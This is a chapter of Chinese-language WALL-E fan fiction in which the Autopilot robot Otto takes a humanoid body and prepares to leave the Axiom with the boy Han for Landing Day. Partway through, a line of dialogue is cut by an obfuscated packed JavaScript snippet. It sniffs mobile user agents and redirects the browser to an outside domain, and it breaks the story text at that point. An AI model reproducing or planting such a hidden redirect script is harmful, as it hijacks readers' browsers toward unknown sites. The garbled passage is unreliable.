事情就是这样。100多年了,有谁还像当年一样谈他色变?时间和记忆的流逝让一切事情都在淡化。除非魔鬼真的出现在人们眼前,否则就是天天听着魔鬼的故事,当人们长大后听到也不过轻描淡写地说一句:哦,有点可怕。 更何况,魔鬼早已蜕变。或者,根本就不是魔鬼。 这3个月,汉得偿所愿。他终于能理直气壮地天天往公理号跑,甚至还能在那些男孩面前往地上狠狠一摔铁铲。一周后,他在爬通向舰桥的楼梯时就开始猜想今天能看到什么。不止是他想学的东西,还有每天都有惊喜改善的公理号内饰。 直到奥托开始指导他,汉才发现自己懂的那一点点电子知识在奥托面前就是沫巫见巨巫。汉说不好这个老师教得到底是好是坏,因为他的教学方式跟之前从录像中看到的不一样。奥托话非常少,汉有点什么不懂的,他都只是迅速地”飞”到控制台的某处,按下若干按钮,弹出一个全息屏,然后示意汉自己看。除非当时因为电脑故障而使奥托想显示的显示不出来,他才会开口,不过就算开口,一次也不会超过20个单词。 除了说话有些少之外,汉发现奥托到目前为止从来没有表现过敌意。他甚至都没有意识到自己在奥托面前说话越来越放肆了。有一次他一不小心在奥托面前说漏了一句地上的粗话,他本来也没想故意针对奥托,可是当他一出口之后就意识到了不对。他看着那个在自己面前的红色镜头,一股凉意窜遍了全身。但奥托什么都没说,只是接着汉的问题继续给男孩解释。 过了一段时间后,汉突然意识到这个船舵机器人的说话方式似乎变了一些。他回想了一下,对方似乎很久都没有用过平声调说话了,而且说的内容比以前丰富了一些。什么时候开始的呢?汉想着。他没有想出答案。不过他确实感到现在他不必因为对方的平声调和极简的答案迫使他尴尬地不断要求重复或者追问了,这是个好事情。 有时候奥托会主动问汉有关地球的情况。让汉万万想不到的是,奥托问的问题是走两个极端的。某些问题在汉看来3岁小孩都不用问,但是另一些问题,汉一下就被憋住了。这些难题不是汉听不懂,而是他知道有那回事,但是说不出来为什么。 这天汉天刚蒙蒙亮就跳下了床开始朝公理号飞奔过去。前几天奥托对他说过几天他就能够离开舰桥了。汉对这个好奇不已,不断旁敲侧击奥托怎么能做到,甚至还把自己的猜想提出来让奥托说是或者不是。但作为一个运作了700年的老滑头,稍微忽悠一下小孩也不是不可能。他面对汉的百般试探,回答总是模棱两可,就是对汉说到时候你会看到的。 “你……该不会一声招呼不打就离开吧。”无奈中,汉只好问了这一句。 “不会。”奥托回答。 “那……也就是说那天你会在舰桥等我,然后再走?” “对。” 既然如此,汉就兴奋了。他每天都在激动中醒来,然后急着跑去公理号看奥托到底要玩什么花招。前几天都是失望而归。这天他的兴致已经没有前几天那么高了。不过好奇心还是战胜了他的倦意。 可是当他一探头出楼梯口,他就立刻顿住了脚步。奥托就挂在他的正前方,但是有什么似乎有点不对劲。 不如往常在控制台上方忙碌或者以几倍速率观看着什么录像,这天奥托就只是静静地吊在那里,面对楼梯口,中央的红色镜头一片黑暗。 汉疑惑地走了过去。”奥托?”他试探地轻声叫道。 毫无反应。 累过头了?不可能啊……汉独自思忖着,不由得走到奥托面前。”奥托?”他又叫了一声,依然没有反应。 他突然意识到什么,往上伸长了手臂掀开了那个开关盖子,而那状态让他倒抽一口冷气。 果然!还是有人上来关了!汉气得咬牙切齿。他伸手上去把手动按回自动,然后等着面前轮盘的红光亮起来。 有点什么让他觉得不太对劲。 奥托毫无反应。 他再次查看了开关,终于发现了为什么。面板上的表盘是全暗的。即使是手动模式,那个表盘都应该还有一半是亮着的。 那这就糟糕了,一定是里面断了极其重要的线路,连能源都接不上了。汉颤抖而又着急地拍了拍自己身上,懊恼地发现自己没带任何工具。这倒好了。汉着急忙慌地想着。自己得跑回去一趟,或者得叫维修机器人上来。但是这两个选项哪个都不好。谁知道奥托以这种状态待了多久呢?在这种状态下会发生什么…… 万一他是发生了意外,那么他的存储数据可能就得狂丢。 那么……他还会是他吗? 想到这里汉简直吓坏了。他立刻拔腿就向前面的控制台冲去要输入指令叫维修机器人上来。 他刚刚跑出两步,身后突然传来一个带有调子的、他从未听过的具有清冷声线的奇怪金属声音。 “你在干什么?” 汉愣住了。停步,转身,看到的东西让他不由得往后趔趄几步,差点撞上后方的控制台。 一个周身银灰色的人形机器人站在后排控制台旁边,正看着他。机器人面部正中只有一个镜头,它与别的机器人好像不太一样,此时那镜头黑洞洞的,什么光都没有,倒是深得有些瘆人。机器人胸膛左上似乎刻着些什么字,除此之外,其他部分什么装饰都没有,连船员机器人中比较常见的蓝色腰线都没有,只有看上去非常乏味的通篇银色的外壳。这外形看起来有点像公理号上的教学机器人,但明显不是同一种机型。怪物般的面相着实把汉吓得不轻。 “你你你……你是谁?”汉在惊吓中好不容易终于想到开口。 人形机器人伸出一只手指向悬吊在舰桥中央的奥托。 汉的眼珠子都要掉出来了。他一脸被核桃噎住的表情,整个人似乎凝固在了舰桥里。 “我不信。”汉终于从呆滞中解冻出来,他尽力保持着冷静。”你到底是谁?” 这个自称奥托的人形机器人伸手在控制台上点了个按钮,弹出一个全息屏,示意汉自己去看。 汉充满警惕地慢慢接近那个全息屏,在此期间他一直盯着这个不明身份的机器人。身上的肌肉绷得紧紧的,随时准备逃离或者防范这个机器人。 这个机器人很识相地往后退了一步,跟汉保持了一段距离。见状汉狐疑地盯了机器人好几次,直到他确认这家伙看上去确实没有攻击的迹象之后,他才敢稍稍把注意力放在那个正在播放着什么的全息屏上。 过了几秒后他总算认出那放的是什么了。那是舰内的监控录像。准确的说,就是他现在所处的舰桥的监控录像。 屏上的内容很黑,表明应当是夜间拍摄的画面。而在画面中,奥托在控制台上方的动作快得惊人,以汉这3个月跟奥托相处的经验来看,虽然奥托的动作非常干练,但是不可能这么快。他知道这是加了倍率的播放。 汉突然被接下来播放的画面吸引住了。屏幕中,奥托来到了现在他停在的舰桥中央,停在了那里,汉可以看到镜头中央的红光依然存在,说明他并没有进入待机状态,但是他看上去好像在等什么。果然,十几秒过后,从楼梯口飞进来一批机器人,大概有四五个。 汉不禁凑近了全息屏。他看到有两个机器人好像还扛着一个长方体。在黑暗中汉无法分辨出那是什么。奥托的红光以几乎不能为人察觉的方式闪了好几下,然后那几个机器人就迅速摆开了阵型。一个在那个长方体不明物体上快速捣鼓着,另一个与此同时飞快地做着什么奇怪的动作,汉无法判断他到底在干嘛。还有一个飞到控制台附近,好像是去取什么东西。而就在这时,奥托的红光突然消失了。 汉愣了一秒才发现有一个机器人不知什么时候”粘”在了奥托附近。在黑暗中奥托和那个机器人的身影就是两团看上去粘在一起的黑影。接下来,舰桥里面什么光也没有,汉隐隐约约只能看出屏幕中有一团又一团东西在动。中间大概有三分钟左右的时间,这几团黑影凑到了一起,汉只能看到有极其微小的动作,要是看得不仔细,还会给人一种视频卡在了那里的错觉。汉一开始也以为录像卡了。当他发现视频居然没有卡住的时候,他开始不耐烦地抿着嘴来开始默默数秒。 当汉即将很不耐烦地转头的时候,突然视频的内容变了。那几团黑影开始解散了,只留了三团还在那里,其他的迅速到控制台兜了一圈,然后又回到舰桥中心附近,但这个时候他们就不像刚刚一样凑堆一样靠得那么近了,每个黑团都跟中心的大黑影保持了一点距离。 突然从中心黑影偏边缘的地方亮起一个红斑,几乎正对着摄像头,汉可以清晰地看到那个红斑不像几分钟前是侧着亮的,而是透着屏幕又圆又空洞地直直盯着他。这段画面的吓人程度绝对能入选恐怖片的备选桥段。汉感到一身寒毛都被盯得立起来了。还好,他的好奇心还是占绝对优势的,他还不至于被吓得直接关闭屏幕。 然后那几团黑影又开始动了。他们中有两个来到中心黑影附近,又开始了精细得看不清楚他们在弄什么的动作。过了十几秒后,这个红斑动了。终于从开始的正对摄像头发光的情况恢复到视频刚开始的奥托那样的如同侧方发光状态。但是这个红斑不如视频开始的奥托那样动得快,这个红斑动得很慢,范围也很小。自红斑从中心黑影中出来后,它就被一团黑影包裹住了。而这个时候,其他的黑影回到了中心黑影的地方继续捣鼓着,汉终于发现那几个机器人把那个长方形的不明物体重新搬了起来,然后他们带着它陆陆续续从楼梯口消失了,画面中就只剩下停在舰桥中心的、已经成完全黑暗的奥托的身影和新的已经接近控制台的带着红光的黑影。 汉还没有反应过来。在这时旁边发出了一声很轻的按键声,全息屏从汉眼前瞬间消失了。汉转过头,面对着按掉监控录像、就是录像中的恐怖片主角的机器人。 “看懂了?”人形机器人说话了。他的声音不像奥托那样平板低沉,虽然音调也不高,但就从他说的这两句话来看,他还没有说过平声调的句子。 汉大概明白这是怎么回事了。他以一种难以名状的目光看向这个银色的人形机器人,开始重新仔细打量起来。这机器人个子不高,跟他差不多,看上去也就5英尺5英寸左右。他留意到了机器人左胸上的刻标,与其他船员机器人的印标不同,那上面浮雕着EP-003字样。 “EP是什么?”汉的声音里依然透着警觉。 “探索者。”人形机器人淡然回答。这次,他不再以黑洞洞的圆形镜头与汉对峙,而是转向控制台,几乎不看着按键就在上面飞速操作着。一个全息屏立刻被调出来,熟悉的界面呈现在汉的眼前。他这才感到稍稍有些熟悉。 汉还是不太相信这一切。他站在舰桥中央木然地盯着人形机器人,但是内心却在快速思考着。他想着问一些自己之前印象深刻的事情,可是马上就被自己否决了,因为对方不是人,没法百分百证明。而问一些与公理号有关的知识也不行。 人形机器人静静地等待汉自己整理头绪。就像以前的奥托一样。汉有那么一瞬间就想缴械投降了,不管他到底是什么就认他的身份。可是不知为什么,这个想法让他打了个沉默的激灵,迫使他继续思考下去。 “你……这……”汉皱着眉头,努力地整理着自己的语言,”……不……” 男孩深吸一口气。他镇定了一下自己,然后几乎是吁出来了一句话。 “我还是不信。”汉说,”你要拿出更确凿的证据才行。” 听到这句话,人形机器人几乎不能为人所察觉地震了一下,似乎也在思考。男孩以警觉但是坚定的眼神看着对方。 “汉。”清冷的声音突然说话了。”唯一的证明办法现在不适用。” “什么?”汉有些没听懂。 人形机器人什么都没说。他把目光放到中央了无生气的轮盘上方,似乎在寻找着什么。然后又把视线收了回来。”中央芯片现在在这里。”人形机器人伸手指了一下自己的处理器所在区域,”但是现在没办法打开给你看。不信的话,你可以去原机体那里找中央芯片。那里的卡槽现在是空的。” 汉狐疑地看了人形机器人一眼,果真走去舰桥中央的船舵那里了。他想方设法站到了处理器所在的高度,当他打开了本不应该轻而易举就能打开的保护外壳时有些吃惊。但最终看到里面的黑洞洞的空卡槽时,他并没觉得心里的怀疑少了多少。 “以后可能有机会来验证。”人形机器人看着男孩的动作,再度出声,”我没有理由骗你。” 这听着还真有点像奥托会说的话。汉听到之后顿了一下。思绪再度在男孩的脑中纷飞起来。说的也是。汉想着。最坏的情况——假设人形机器人就是个假的奥托,那他还费尽心思来让自己相信,目的是什么呢?让自己信任他然后透露什么信息吗?可是他根本不需要从自己身上得到什么……从电脑、其他船员机器人和其他人类入手显然能得到更多的东西……真的没理由…… 而且这地球上还有谁会故意做这样的东西骗他?汉继续思考着。一些天马行空的答案在脑海里窜了几下,汉使劲摇摇头把这些怪异的念头甩出了脑海。可是自己一贯的警觉还是没法让他去信任这件事情。 “我应该一早告诉你的。”人形机器人突然说话了。”而不是让你猜。” 汉呆呆地看着这个人形机器人,不由得重新回到控制台旁边。汉这次突然感到不信任的围墙轰然倒塌了。他其实前几天就猜到了奥托可能会用更换机体的方式来达到下船的目的,但他自己想不出来这船上还能有什么机型与奥托适配,更是觉得无论什么机体放他身上都不太对劲。BNL船员机器人均是单一功能的集大成者,他难以想象奥托会采用哪一种擅长特定工作的机体。所以自己一开始就否定了这个答案。他觉得奥托更可能会在地球上安插很多监控设备,或者用一个什么全息投影装置来间接下船。 可是他看着对方的背影,一种莫名其妙的古怪涌上心头。他见过那么多机器人,可是除了教学机器人看上去有点人形样之外,如此结构几乎完全模仿人类外形的几乎没有。而且看奥托此时的银色外壳材质,与之前见过的船员机器人似乎也非常不同。这一点都不像BNL公司一贯的风格。 而且——他猛然想起来了——他当时绝对给过奥托这个选项,但是奥托全部选了否! 男孩不知哪儿来的勇气,想都不想就给旁边在操作电脑的人形机器人肩膀上狠狠来了一下。但让他想不到的是,奥托几乎无法抵抗这么一推。还好他立刻伸手把自己撑在了控制台边上,不然一定会往后摔倒在地上。 “别推。”与此同时奥托对他开口了,汉发誓自己听到了声音中有恳求意味。 很显然,奥托对这个机体还不是很适应。汉也发现了奥托几乎没有离开过控制台附近。他有一堆想法想冲口而出,可是无论哪一个想法都在喉咙里打转转怎么都出不来,他只余对着人形机器人干瞪眼。奥托则如往常一样似乎知道他想说什么,所以只是站在对面静静地看着汉等着。舰桥里留下了尴尬的寂静。 “今天你就走吗?”终于,汉开口问出了这句他等了好几天的话。只不过并没有像他以前想象的那样问出来。 “今天不走。”奥托把视线转向窗外,”还有点事情得处理。” “诶对了,”汉突然想起了刚刚看监控时就想问的问题,他轻轻敲了下人形机器人的胳膊。”你现在感觉怎么样?” “感觉?”黑洞洞的镜头定在汉的脸上,汉看到那里面正在敏感地随时变动光圈。 “就是……状态怎么样?” “兼容中。”奥托回答,”肯定不是最佳状态。” 汉皱起了眉头,他伸出手使劲搓了搓脸。他当然知道奥托在适应这个机体,但这不是他想得到的答案。他却又问不出来他到底想知道什么。 跟人打交道的时候好像从来不会出这样的问题。他突然想到。 机器人运作的特有嗡嗡声音回响在了楼梯口内。汉转头看去,几个飞行机器人用自己的夹子夹着一些黑色的塑料膜一样的东西出现在了楼梯口。出乎汉的意料的是,这些机器人似乎并不理会就在舰桥中央悬挂的自己前老总的躯壳,它们出人一致地齐刷刷望向在舰桥一角已经更换机体的奥托等待进一步指令,没有任何的惊奇反应。 奥托示意他们来到面向外部的舷窗,自己则如同往常一般退后到舰桥后方给这些机器人腾出大块空间。汉也不自觉地往后退去,站在人形机器人身边。 汉惊奇地看着这些机器人径直来到了面对外部的玻璃窗上。它们首先放下自己的负荷,只拿起了一张进一步接近玻璃窗。汉发现这膜的两面似乎有些不一样,一面是黑色的,而一瞬即逝的另一面似乎反着现在外面照进来的刺眼阳光。几个飞行机器人合作用自己的爪子展开黑色塑料膜,首先将上方的角扯平拉直,然后以机器人特有的精准往前越来越接近玻璃窗,以惊人的同步将第一块薄膜的上部贴着天花板粘牢在了玻璃上。汉看到了反光的那面朝着外面,黑色的则朝着里面。然后他们拉直要卷起来的薄膜下部把它拉直,以几乎同样的步骤将第一块薄膜完全覆盖在舰桥舷窗的第一部分。整个舰桥似乎暗下来了一些。 汉疑惑地看了奥托一眼,后者开口了。 “防止阳光破坏控制台。” 当他们把事情做完后,舰桥里变成了黑暗一片。汉猛然发现身边好像有点异样。回头,他差点被吓了一跳——人形机器人的镜头中如同点着了什么东西一般,熟悉的红光正慢慢变亮,最终明亮的红光完全充盈了整个镜头,仿佛有个邪恶的灵魂从中苏醒了一般。 “红外开了。”人形机器人注意到了汉的惊恐表情,毫无感情地解释道。 奥托在黑暗的舰桥中走到另一处控制台前,点开了一个全息屏,上面正飞快地播着什么。他一动不动地盯着快速变换画面的全息屏,似乎全然不知道汉已经重新回到了他的身后。汉好奇地跟着看了一会儿,发现上面都在描述陆地的情况。 “你在看什么?”汉不禁问。 “陆地。” “我知道是陆地。为什么?” “我总得了解一下情况。” 汉哭笑不得。现在地面上安全得很,他难以想象这还要上理论课。不管怎么说,自己走下去试试不就知道了?”你很怕吗?” “……不。” “我跟你说,你看这些没用的。”汉听到如此犹豫的答案后有些狐疑,但还是对奥托说。”你要自己走出去才知道该怎么办,光看这些没用的。” “总比什么都不了解好。”奥托回答。 在汉看来这种行为可笑极了。但是他不知道为什么,并不想因此嘲笑奥托。 汉思考了好一阵后,最终放弃了进一步追问,走到自己惯常操作的那部分操作台,开始百无聊赖地点开东西看。自从奥托开始接手修复电脑的任务后,他觉得自己就是一个多余的人,什么手都插不上,只能在一旁看着奥托娴熟地使用电脑各个功能。而奥托又只是埋头苦干,除非要取用舰桥内没有的工具他才会找帮手。等到汉终于能好好接触控制台的时候,那些故障都已经被处理得干干净净,留给他的只剩下几乎毫无瑕疵的面板。点开什么,基本上都是正常弹出状态,根本没有任何好玩的故障给他动脑筋。 突然,他感到口袋里的通讯器振动了一下。 他拿出来看,上面显示镇长发来的消息。 【主电脑状态如何?两天后是着陆日,你可以问问奥托看他愿不愿意观看我们庆典的直播。】 汉噗嗤一下笑了。他紧张地抬起头望向奥托,所幸的是他还沉浸在飞速跳跃的录像中。汉决定要使个坏。 【我觉得主电脑挺正常的。】汉输入字符,边输边偷偷瞄着奥托,【格兰德先生,他说不用安插摄像头了,到时候他会出现在现场的。】 【什么意思?】 【他换机体了,可以下来了。】 【好消息。我会跟镇里人宣布的。】 汉盯着那条消息,嘴咧得老大,眼睛也兴奋地瞪得贼圆。【呃,格兰德先生,他说这得是惊喜,所以不用宣布了。】 【好,我们也有惊喜等着他。】 汉这个时候已经抑制不住下巴仿佛要掉下的无声巨大笑容了。突然,他意识到奥托的红眼正在盯着他。男孩立刻闭上了嘴,同时紧张地用瞄了回去。果然在盯他。 见状,汉立刻转向自己面前正在播放的视频,同时开始肆无忌惮地哈哈大笑,丝毫不顾上面到底有没有笑点。 人形机器人盯着他好一阵,把视线转回到自己的理论课上。 “嘿,老奥。”汉笑完后发现奥托没有起疑心,就问了,”你到底什么时候下船?” “取决于我认为要看的东西有多少。” “拜托,有啥不会的我告诉你,比你现在看得有用多了。”通过几个月的相处,汉发现奥托还是很随和的,有时候他试着跟奥托身体接触也不会怎么样。所以现在他把手放在了奥托的肩膀上。”后天早上,行不行?” “可以。” 汉笑了。”太棒了!”他说,”到时候你在舰桥等我,我带你出去。” “没有必要。” 汉瞪了他一眼,”当然有必要。”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706271|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,”当心在你脚第一下粘土的时候就惹麻烦。” “好吧。”即使这么说,奥托无法理解什么叫第一步就有麻烦。 汉突然高涨的情绪早就使奥托警觉了。他700年的运行记忆告诉他人类的行为虽然缺乏逻辑,但是普遍还是有因果关系的。见汉没有说明的意思,奥托决定自己去找原因。700年来,这个习惯总能使他以最少的资源得到最多的信息。 他首先从机器人通讯网络中询问两天后到底是什么日子,同时比对了公理号的时间来确认信息可靠。然后他从某个无法判断到底是出于怕他还是只是太松懈的可怜虫那里得到了一个足够解释汉为何如此激动的关键信息——所有过去一年内加入地球镇的新成员,在那一天都会获得一个特殊而有趣的欢迎仪式。 【什么样的欢迎仪式?】奥托不动声色地追问。 【呃,这个取决于那些人类……反正自我下船来,每一次的欢迎内容都不一样。】 【比如?】 【第一次是欢迎那些警卫,那天下雨了,所以他们都获得了一次泥巴浴。】 奥托心里一沉。 【第二次是欢迎剩下的EVE型号探测器,呃……那一次简直就是个灾难,她们差点把整个会场炸翻了。】 猜到了。奥托默默想着。 【老大,你是要来参加庆典对吧】这个机器人才意识到奥托为什么问。【这会是大新闻的。】 【我肯定不会去。】奥托硬邦邦地甩给他几个大写的字符。 【呃呃……】这个机器人停顿了很久都没有回复,好像在斟词酌句,【老大,即使电子技师们没说,在群里你的头衔都变了,我们就知道你可以出来了。】 假如奥托有脸色,此时已经黑了一度。 【而且就算你不来,你在舰桥里恐怕会更惨……】 【怎么个惨法?】 【呃……我……不知道……】即使跟奥托本人隔了十万八千里,他也仿佛正在面对奥托的刑讯逼供似的。【我跟你说,那些人类,他们会变着法子整你,你根本招架不住……】过了一会他突然加了一条【我说真的!我没蒙你!我哪里敢!】 事情出乎奥托的意料。这就是汉跟他说脚一粘土就会惹麻烦的原因吗? 他猛然把自己从通讯网络中拔了出来,扭头对着舰桥扫描了一周,全然没有汉的踪影。这臭小子不知什么时候就溜了。 这在以前从来不会出这种问题。奥托被自己的松懈程度惊讶到了。以前有点什么风吹草动他都能及时关注到,不管当时是在忙碌还是空闲,只要不是在待机就行。这个机体给他的感觉很奇怪。纵然有了比以前大上几个级数的存储空间,灵敏程度却没有让他感觉有所相应的提升。 技术上讲,他原来的芯片是原封不动地嵌入到这个机体的,所以所有的数据都好好地留着,包括以前的动作缓存。纵然在转移的时候,那些电子技师一定根据说明书上写着的指示小心翼翼地把原来的程序打包了,理论上目前他不应该还有之前行为的惯性,理应马上就能适应。可是他依然感到自己的一举一动都十分别扭。 机体运行时还会出现大量的他根本找不出有什么存在价值的系统文件,这些东西会迅速地占用本来看上去很乐观的存储空间。他很快发现自己的运行速度似乎不如以前稳定。而且他有些烦躁地发现自己竟然没法将该存储的数据及时归类,这些文件似乎不能以他的意志移动。原来的芯片好像变成了只读模式的存储卡:他可以查看所有文件的内容,但是里面所有的程序都似乎无法运行。他更烦了。 我烦什么?奥托突然意识到自己的情感波动的幅度比以前大了很多,每次都给他一种几乎要爆发的爆裂一般的错觉。 找不到情感模块所在区域,无法对其进行设置。 如果他能够,那么他现在就是标准的板着一张脸。 即使贴着黑色的反光膜,他也知道外面已经黑下来了。前段时间发送的资料请求信号直到现在都还没有回音,哪怕知道即使是最快的回应也需要时间,但他决定再发一次以防万一。 其实在他发送请求之前就隐隐地感到了身上哪里似乎有点不对。但因为他以前从未有过类似的感觉,而且机体并没有弹出任何警示框,就没放在心上。他按下了发送,听到公理号传来了一阵似乎由内向外逐渐加强的功率提高的声音。他正要挪步时,一种难以名状的感觉突然从膝关节冲进自己的处理单元,随即感到膝关节附近的伺服电机突然仿佛断线了一般,差点让他往前摔倒。没等他反应过来,机体貌似帮他做了选择。他抬起头来,发现自己的金属手正牢牢抓着控制台的边缘。 他不知道自己为什么知道要这么做。直到舰内留存的悬浮椅的红点逐渐呈现在他面前的全息屏的时候,才似乎反应过来自己刚刚似乎在控制台上忙乱地输入过什么。他在敲击控制台上的触键的时候愣了一下。随即抬起自己的手看了看。不知道为什么,现在肢端传来的触感比原先的强烈了很多。想必其他部位也不例外。 这个机体与之前的舵形机体非常不同。并不只是外观和简单功能的差异,更多的问题来自内在——虽然到目前为止好像还比较听自己的话。但是他感觉反应经常会过激。至少到目前为止,这个机体还从来没有给过他一个部位状态预警的弹窗,结果总是等到真正有不适了才被他意识到。他也想一开始就弄明白身上那些新增添的部件怎么用,结果折腾半天,明明就在那里的部件怎么都启动不了。 他的新机体有说明书。但是这份本应当比任何船员机器人都厚的多的说明书却出乎意料地薄。它似乎本意就是草草了事的,仅仅为了过BNL公司的审核条件才不情愿地弄到刚刚过关的最低篇幅,然后就被匆忙印刷出来装进了存贮盒。 他仔细翻阅过这份资料后,再次查看了有无重要信息嵌在里面。确认过后,就义无反顾地将这份资料投进了分解光束中。 遮光膜虽然能挡住绝大部分阳光,但在里面还是能感知到外面的光线变化,就像闭眼之后依然可以感到光线在自己眼睑上移动一样。外面在慢慢变亮。 面前的全息屏还有剩下10%的进度,奥托再一次加快了倍率。剩下的应该没什么更重要的信息了。 事实似乎的确如此。人类的视频里怎么废话连篇。 要问他为什么不接根线把电脑里的资料全都下载下来,其实他早试过了。公理号主电脑在他换了机体后彻底不认识他了。除了门槛最低的通讯他还登得上去之外,主电脑对他发送的所有请求一概拒绝。 思维逐渐把重心从视频内容挪到了自己的思考上。 今天会发生什么?他开始预想。 所幸,不管那些数据到底存储在哪里,想找的还是能很快出现,并且没有错误。现在似乎比较难像以前那样集中精力,不过思维还是非常清晰的。 不知不觉他意识不到视频内容了。 他反反复复地把这天人类的日程过了一遍,小心翼翼地挑出自己的路线,把所有可能遇到的情况的对策都模拟预演了一遍…… 等等,可能预演得完吗? 没有时间去考虑能不能预演得完了。越来越多的事件洪流般涌入,让他根本没有空暇去思考合理性。涌流的速度还在加快,事件不知何时已经不再是模拟而是正在真实发生的。他从未在舰上经历过那样的事情,但是他都在下一个事件出现之前惊险又还算顺利完美地解决了。 这证明了理论课是有效的? 好不容易终于有了放慢的瞬间,稍稍回顾,悚然发现,原来那些事早已经历过。早到何时?定不是在太空中。 “奥托?” 所有进程猛地一卡。 镜头一下子亮起。半秒后他猛地从控制台前弹了起来。 怎么就趴在了控制台上呢?奥托急速地扫描了一遍刚刚按压的位置。没有因此输入什么重复又诡异的玩意吧…… “你这是熬通宵了?”汉指着不知道已经播放完毕多久的全息屏,面带怜悯地看着不知所措的奥托。 奥托什么都没说,只是默默地关闭了全息屏。 “该走了,精神点。”汉后退了两步,站在舰桥中央。 奥托没好气地把主电脑设置成睡眠,然后他开口了。 “臭小子,”他第一次用这个称谓叫汉。汉惊讶地回头。”你们商量好怎么整我了吗?” 汉下巴合不拢了。”原来你知道了……” “你们要是敢整我——” “你就会干掉我们?”汉打断道。 “……”奥托顿了一下,”那你们完了。” 说实话,汉还是挺怕的。于是他开启了威逼利诱模式。”你想想看自己已经保持了3个月的优良记录,打破的话,我都救不了你。” “你们都不给我保持的机会。” “诶,这恰恰是一个机会,老奥。”汉笑着,但是语气认真地对他说,”你要是忍过去了,你的形象就会改观,让他们觉得你还挺亲近人民的——” “错。”奥托义正言辞道,”我不还手不代表我亲近你们。” 这着实出乎汉的意料。原来以前奥托给自己的印象如此随和是假的吗?他不由得拉远了自己与奥托的距离。 “那……你……走还是不走?”他结结巴巴地说道。 “走。”奥托一如既往几乎在汉话音刚落的时候就给出答复。”你带路,你承诺的。” “哦。”汉挤出一声。 第一次,汉觉得这个曾经他很信任的机器人现在浑身上下都充满着危险的气息。他僵硬地走在前面,毫无留意到自己已经强迫性地把注意力放在了自己迈步的距离和力度上。 与走在前面的少年相反,奥托对汉的异样毫不在意。他从容地一路观察着公理号的内部情况。第一次不是从监控中看到,那些干巴巴的数据直到现在才猛然活了过来。公理号实在太大了。但是,现在的公理号大得空洞、冷清。 脚步声回响在船舱里。 他们路过了一个又一个登舰口,外面明亮的光线照进了阴冷的船舱。在硕大的舰内空间里投射出格子状的明暗条纹。 “为什么不从第一个口出去?”走过几个登舰口后,奥托发问了。 “现在底下有水了,下去了过不到正确的一边。”汉回答。过了一会又加一句,”可以是可以,但是衣服得湿,我不想那样。” 汉终于拐进了一个出口,奥托想都没想就跟着出去了。但他刚跨出没两步,就不由得在登舰平台上顿住了。 与舰桥中的环境不同,甚至在没出船舱的时候都大不一样。无数的新数据瞬间涌进了他的处理器。他没法马上意识到这些东西究竟是什么。映入镜头的是清晰得无与伦比的景物,立体而活生生,与之前看到的都不一样。一开始他还没有意识到响彻音频接收器的呼呼声到底是什么。直到一股气流猛地使劲推了他一下,他才渐渐地回忆起在公理号上看到的解释。这反应比往常每一次反应都慢。没有数据告诉他这就是风。哪怕在认出这是风后,主电脑中的描述还是准确的。 汉刚想催促奥托跟着他走,但是他在看到奥托的表现后,就默默地停在了斜坡上,等着不知所措的人形机器人自己慢慢适应。 晚春初展威力的阳光在他的外壳上留下了无数的温度指印。奥托不由得伸展开了自己。一丝温暖而潮湿的气流涌过了登舰平台,时而抚摸时而推搡站在平台上的两个渺小个体。而这时,奥托猛然发现了一些全新的东西。 他不知道这是什么。他从来没有过这种感觉,但是确实有什么元素渗入到他的传感器里了。 这就是麦克雷舰长追求的感觉吗?奥托问自己。这就是自由吗? 与多数人刚刚来到地球的激动不已不一样,奥托此时并未感到任何兴奋。尽管还浸泡在机体各处反馈回来的新感觉之中,他却感到此时的思维异常地冷静,冷静得思维都似乎冻结了,任何评价都不复存在,只留下一片空灵。 他降下了镜头上的遮光板。没有视觉输入之后,其他的感觉都愈加清晰起来。空灵的思维中似乎有了点什么。就在下一瞬间,他吃惊地感受到自己的回路似乎有什么地方被激活了,纷杂繁乱的数据开始了真正属于它们自己的活动。前所未有的震撼从内到外激荡着他。等到这一切终于重新平复下来之后,思维里已经站满了已经带上意义的队列。 “我们走吧。”汉听到人形机器人终于说话了。男孩转过头,使劲忍着嘴角想要脱离控制往上爬的剧烈拉扯感,沐浴在春末的潮湿暖阳中走下平台。 6. 五 地球镇内。 夕阳的金色光芒暖暖地斜照在镇里。而镇里人的心情也同这阳光一般喜气洋洋的。 他们正在忙碌而快乐地准备狂欢。小孩欢快地围着镇子的房子玩各种游戏。这不仅是人类的节日,船员机器人也可以加入狂欢。着陆日狂欢正是为了纪念人们回到地球而设立的。 两个小黑点开始出现在地平线上。在阳光里,随着他们慢慢行进,终于——那是瓦力和伊芙! 所有的人类都相当尊重瓦力和伊芙。一旦有人看到他们来,这信息就会迅速传遍整个镇庄,然后人们都充满了喜悦的期待。不过人们还不至于把这两个机器人当神来供奉着,到他们进入镇庄后,每个碰到他们的人都会面带微笑地和他们握手,没碰到的,也不会特意绕远来与他们见面。 “嘿,来跳个舞吧。”一个人突然在熙熙攘攘的街道里对瓦力喊道。他手里拿着一顶帽子,向瓦力招手。 瓦力立刻找到了声音的来源。他兴奋地敲着铲子样的机械手,跃跃欲试却又有些紧张地看着伊芙。 伊芙的电子屏闪现一个笑脸,同时她发出了咯咯的笑声。瓦力见状,立刻飞一般地朝那个人冲去。 那个人抓住瓦力的手,把他带起来在空中旋了个圈,然后把那顶帽子扣到了瓦力头上。 “嘿,小兄弟,多久没见过面了。”他笑着,同时不乏幽默地说,“哪天你们走得太远,赶不回来怎么办?” “伊,伊芙。”瓦力望远镜般的大眼睛回头看了伊芙一下,再转回这个人,用他那清澈的机械音回答。 “是啊,伊芙随时都能带你回来。”他脸上的纹路被金黄的阳光染过后更加深,使他在那瞬间就像刻出来的木版画一样。他拉着瓦力的手,对着周围停下手中的动作的人群欢快地喊道: “我们的乐神呢?是时候开始狂欢了!” 